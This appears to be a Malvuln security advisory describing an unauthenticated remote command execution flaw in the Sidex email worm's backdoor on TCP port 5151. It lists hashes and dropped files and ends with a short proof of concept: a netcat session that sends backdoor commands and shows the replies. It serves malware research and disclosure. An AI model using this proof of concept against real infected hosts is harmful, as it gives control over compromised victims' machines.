Email-Worm.Win32.Sidex Remote Command Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2022  
Original source: https://malvuln.com/advisory/a98cdaa89da57bf269873db63e22a939.txt  
Contact: [email protected]  
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Threat: Email-Worm.Win32.Sidex  
Vulnerability: Unauthenticated Remote Command Execution   
Description: The malware listens on TCP port 5151 and creates a dir named "vortex" with several PE files. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.  
Family: Sidex  
Type: PE32  
MD5: a98cdaa89da57bf269873db63e22a939  
Vuln ID: MVID-2022-0564  
Dropped files:  
107,520 373B2264.EXE  
79,661 71483A49-00135168.EXE  
4,096 72D90FF9.EXE  
512 89C556A1.IMG  
10,426 977E01C2.VBS  
12,313 A54746DF.VBS  
80,384 E09DF44A-00080384.EXE ==> server.exe  
Disclosure: 04/26/2022  
  
Exploit/PoC:  
C:\>nc64.exe x.x.x.x 5151  
GetVicName;  
GetVicName;Optix+Lite  
GetSysDir;  
TheSysDir;  
;C:\WINDOWS\system32\  
  
  
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